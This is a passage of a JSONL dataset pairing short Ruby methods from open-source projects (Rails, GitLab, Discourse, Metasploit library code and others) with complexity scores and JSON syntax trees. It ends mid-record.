{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/packet.rb","start_line":336,"raw_source":"def answer=(object)\n        case object\n        when Array\n          if object.all? {|x| x.kind_of? Net::DNS::RR}\n            @answer = object\n          else\n            raise PacketArgumentError, \"Some of the elements is not an Net::DNS::RR object\"\n          end\n        when Net::DNS::RR\n          @answer = [object]\n        else\n          raise PacketArgumentError, \"Invalid argument, not a RR object nor an array of objects\"\n        end\n      end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"answer=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"RR\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@answer\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"PacketArgumentError\"]},{\"type\":\"str\",\"children\":[\"Some of the elements is not an Net::DNS::RR object\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"RR\"]},{\"type\":\"ivasgn\",\"children\":[\"@answer\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"PacketArgumentError\"]},{\"type\":\"str\",\"children\":[\"Invalid argument, not a RR object nor an array of objects\"]}]}]}]}","id":"104da93b-36ab-40d3-8d3b-8fc2a8b6ae9b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/optional_session/mssql.rb","start_line":40,"raw_source":"def optional_session_enabled?\n        framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"optional_session_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"features\"]},\"enabled?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"FeatureManager\"]},\"MSSQL_SESSION_TYPE\"]}]}]}","id":"7564d89d-cb07-48e8-a464-9cbb01b669b3"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120720162422_add_forum_id_to_categories.rb","start_line":4,"raw_source":"def up\n    add_column :categories, :forum_id, :integer\n    execute \"UPDATE categories SET forum_id = (SELECT MIN(id) FROM forums)\"\n    change_column :categories, :forum_id, :integer, null: false\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"categories\"]},{\"type\":\"sym\",\"children\":[\"forum_id\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE categories SET forum_id = (SELECT MIN(id) FROM forums)\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"categories\"]},{\"type\":\"sym\",\"children\":[\"forum_id\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"66e1035d-e04f-46b6-9547-6950ab243f8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/instrumentation.rb","start_line":54,"raw_source":"def on_each_observer(observers, &block)\n          observers.each do |observer|\n            yield observer\n          rescue StandardError => e\n            Gitlab::AppLogger.error(\"Migration observer #{observer.class} failed with: #{e}\")\n          end\n        end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_each_observer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"observers\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"observers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"observer\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"observer\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Migration observer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"observer\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" failed with: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}","id":"f7587fc5-15a2-404e-a8aa-558b0f16e8ad"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/groups_controller.rb","start_line":125,"raw_source":"def group_params\n    permitted = %i[\n      name\n      mentionable_level\n      messageable_level\n      visibility_level\n      members_visibility_level\n      automatic_membership_email_domains\n      title\n      primary_group\n      grant_trust_level\n      incoming_email\n      flair_icon\n      flair_upload_id\n      flair_bg_color\n      flair_color\n      bio_raw\n      public_admission\n      public_exit\n      allow_membership_requests\n      full_name\n      default_notification_level\n      membership_request_template\n      owner_usernames\n      usernames\n      publish_read_state\n      notify_users\n    ]\n    custom_fields = DiscoursePluginRegistry.editable_group_custom_fields\n    permitted << { custom_fields: custom_fields } if custom_fields.present?\n\n    permitted << { associated_group_ids: [] } if guardian.can_associate_groups?\n\n    permitted = permitted | DiscoursePluginRegistry.group_params\n\n    params.require(:group).permit(permitted)\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"permitted\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"mentionable_level\"]},{\"type\":\"sym\",\"children\":[\"messageable_level\"]},{\"type\":\"sym\",\"children\":[\"visibility_level\"]},{\"type\":\"sym\",\"children\":[\"members_visibility_level\"]},{\"type\":\"sym\",\"children\":[\"automatic_membership_email_domains\"]},{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"primary_group\"]},{\"type\":\"sym\",\"children\":[\"grant_trust_level\"]},{\"type\":\"sym\",\"children\":[\"incoming_email\"]},{\"type\":\"sym\",\"children\":[\"flair_icon\"]},{\"type\":\"sym\",\"children\":[\"flair_upload_id\"]},{\"type\":\"sym\",\"children\":[\"flair_bg_color\"]},{\"type\":\"sym\",\"children\":[\"flair_color\"]},{\"type\":\"sym\",\"children\":[\"bio_raw\"]},{\"type\":\"sym\",\"children\":[\"public_admission\"]},{\"type\":\"sym\",\"children\":[\"public_exit\"]},{\"type\":\"sym\",\"children\":[\"allow_membership_requests\"]},{\"type\":\"sym\",\"children\":[\"full_name\"]},{\"type\":\"sym\",\"children\":[\"default_notification_level\"]},{\"type\":\"sym\",\"children\":[\"membership_request_template\"]},{\"type\":\"sym\",\"children\":[\"owner_usernames\"]},{\"type\":\"sym\",\"children\":[\"usernames\"]},{\"type\":\"sym\",\"children\":[\"publish_read_state\"]},{\"type\":\"sym\",\"children\":[\"notify_users\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"custom_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"editable_group_custom_fields\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_fields\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permitted\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_fields\"]},{\"type\":\"lvar\",\"children\":[\"custom_fields\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_associate_groups?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permitted\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associated_group_ids\"]},{\"type\":\"array\",\"children\":[]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"permitted\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permitted\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"group_params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"group\"]}]},\"permit\",{\"type\":\"lvar\",\"children\":[\"permitted\"]}]}]}]}","id":"bfef28ae-c33d-44bc-9182-5a3b96cfb830"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/spec/services/telegram/send_attachments_service_spec.rb","start_line":117,"raw_source":"def attach_files(message)\n      attach_file_to_message(message, 'file', 'sample.pdf', 'application/pdf')\n      attach_file_to_message(message, 'image', 'sample.png', 'image/png')\n      attach_file_to_message(message, 'video', 'sample.mp4', 'video/mp4')\n      attach_file_to_message(message, 'audio', 'sample.mp3', 'audio/mpeg')\n      message.save!\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"attach_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attach_file_to_message\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"file\"]},{\"type\":\"str\",\"children\":[\"sample.pdf\"]},{\"type\":\"str\",\"children\":[\"application/pdf\"]}]},{\"type\":\"send\",\"children\":[null,\"attach_file_to_message\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"image\"]},{\"type\":\"str\",\"children\":[\"sample.png\"]},{\"type\":\"str\",\"children\":[\"image/png\"]}]},{\"type\":\"send\",\"children\":[null,\"attach_file_to_message\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"video\"]},{\"type\":\"str\",\"children\":[\"sample.mp4\"]},{\"type\":\"str\",\"children\":[\"video/mp4\"]}]},{\"type\":\"send\",\"children\":[null,\"attach_file_to_message\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"audio\"]},{\"type\":\"str\",\"children\":[\"sample.mp3\"]},{\"type\":\"str\",\"children\":[\"audio/mpeg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"save!\"]}]}]}","id":"c20f7d23-f8eb-41eb-9fc5-b694d41239ac"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/config/section.rb","start_line":108,"raw_source":"def method_missing(name, *args)\n        if @params.has_key?(name)\n          @params[name]\n        else\n          ::Kernel.raise ::NoMethodError, \"undefined method `#{name}' for #{self.inspect}\"\n        end\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Kernel\"]},\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"NoMethodError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"undefined method `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"' for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"inspect\"]}]}]}]}]}]}","id":"da467f80-a176-4d94-a387-c4f36e825cba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":721,"raw_source":"def add_planner(user, current_user = nil)\n    add_member(user, :planner, current_user: current_user)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_planner\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"add_member\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"planner\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}]}","id":"d1806c7c-49a6-48db-823c-a45ff093bcd0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/html_formatter.rb","start_line":50,"raw_source":"def render_html\n        context = ERBContext.new(files, summary)\n\n        template = File.read(TEMPLATE_PATH, encoding: Encoding::UTF_8)\n        erb = ERB.new(template)\n        html = erb.result(context.binding).lines.map do |line|\n          line.match?(/\\A\\s*\\z/) ? \"\\n\" : line\n        end.join\n\n        output.write html\n      end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"render_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERBContext\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"files\"]},{\"type\":\"send\",\"children\":[null,\"summary\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"const\",\"children\":[null,\"TEMPLATE_PATH\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encoding\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"UTF_8\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"erb\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"template\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"erb\"]},\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"binding\"]}]},\"lines\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\s*\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]},\"join\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]}","id":"4404d2c4-40fd-43ed-9f62-b55363c57317"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20191210144342_add_any_comments_hidden_to_articles.rb","start_line":2,"raw_source":"def change\n    add_column :articles, :any_comments_hidden, :boolean, default: false\n    add_column :podcast_episodes, :any_comments_hidden, :boolean, default: false\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"any_comments_hidden\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"podcast_episodes\"]},{\"type\":\"sym\",\"children\":[\"any_comments_hidden\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"959d8253-7a93-406a-8fbd-77b60aeeff8a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/github_integration/lib/open_project/github_integration/services/upsert_github_user.rb","start_line":51,"raw_source":"def extract_params(payload)\n      {\n        github_id: payload.fetch(\"id\"),\n        github_login: payload.fetch(\"login\"),\n        github_html_url: payload.fetch(\"html_url\"),\n        github_avatar_url: payload.fetch(\"avatar_url\")\n      }\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"github_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"github_login\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"github_html_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"html_url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"github_avatar_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"avatar_url\"]}]}]}]}]}","id":"47ffd053-3b51-4f0b-a17b-7aabd294dcd5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file.rb","start_line":321,"raw_source":"def viewer\n        rich_viewer || simple_viewer\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"viewer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rich_viewer\"]},{\"type\":\"send\",\"children\":[null,\"simple_viewer\"]}]}]}","id":"be1176a0-52dd-4c19-b52c-e0333d1e9abb"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package.rb","start_line":48,"raw_source":"def visit_query(query)\n      visit(\"#{path}?query_id=#{query.id}\")\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"str\",\"children\":[\"?query_id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"id\"]}]}]}]}]}","id":"155f798e-3b2e-45ff-b631-70f8cd94e22f"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/capture_helper_test.rb","start_line":145,"raw_source":"def test_content_for_returns_nil_when_writing\n    assert_not content_for?(:title)\n    assert_nil content_for(:title, \"foo\")\n    assert_nil content_for(:title) { output_buffer << \"bar\"; nil }\n    assert_nil content_for(:title) { output_buffer << \"  \\n  \"; nil }\n    assert_equal \"foobar\", content_for(:title)\n    assert_nil content_for(:title, \"foo\", flush: true)\n    assert_nil content_for(:title, flush: true) { output_buffer << \"bar\"; nil }\n    assert_nil content_for(:title, flush: true) { output_buffer << \"  \\n  \"; nil }\n    assert_equal \"bar\", content_for(:title)\n  end","complexity_score":36.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_content_for_returns_nil_when_writing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[null,\"content_for?\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[null,\"content_for\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_for\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output_buffer\"]},\"<<\",{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_for\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output_buffer\"]},\"<<\",{\"type\":\"str\",\"children\":[\"  \\n  \"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foobar\"]},{\"type\":\"send\",\"children\":[null,\"content_for\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[null,\"content_for\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flush\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_for\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flush\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output_buffer\"]},\"<<\",{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_for\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flush\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output_buffer\"]},\"<<\",{\"type\":\"str\",\"children\":[\"  \\n  \"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[null,\"content_for\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}]}","id":"b7ad2d38-29a8-4dfa-afad-c27a5467fefd"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/chewy/strategy/bypass_with_warning.rb","start_line":6,"raw_source":"def update(...)\n        Rails.logger.warn 'Chewy update without a root strategy' unless @warning_issued\n        @warning_issued = true\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@warning_issued\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"str\",\"children\":[\"Chewy update without a root strategy\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@warning_issued\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"618d0c0a-c034-4aee-8041-2223cf95a14c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb","start_line":131,"raw_source":"def disconnect!\n        @lock.synchronize do\n          super\n          @raw_connection&.close\n          @raw_connection = nil\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"disconnect!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_connection\"]},\"close\"]},{\"type\":\"ivasgn\",\"children\":[\"@raw_connection\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"521013db-d5f6-47a6-9146-39831cc6c8a9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/inheritance.rb","start_line":119,"raw_source":"def base_class?\n        base_class == self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"base_class?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_class\"]},\"==\",{\"type\":\"self\",\"children\":[]}]}]}","id":"b3fc14a6-5c24-4ec3-8b38-e283ea08f50f"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/20250403150639_link_wp_to_project_phase_definition.rb","start_line":32,"raw_source":"def change\n    change_table :work_packages do |t|\n      t.remove_references :project_phase, null: true\n      t.references :project_phase_definition, null: true, index: true\n    end\n\n    change_table :work_package_journals do |t|\n      t.column :project_phase_definition_id, :bigint, null: true\n    end\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"work_packages\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"remove_references\",{\"type\":\"sym\",\"children\":[\"project_phase\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"project_phase_definition\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\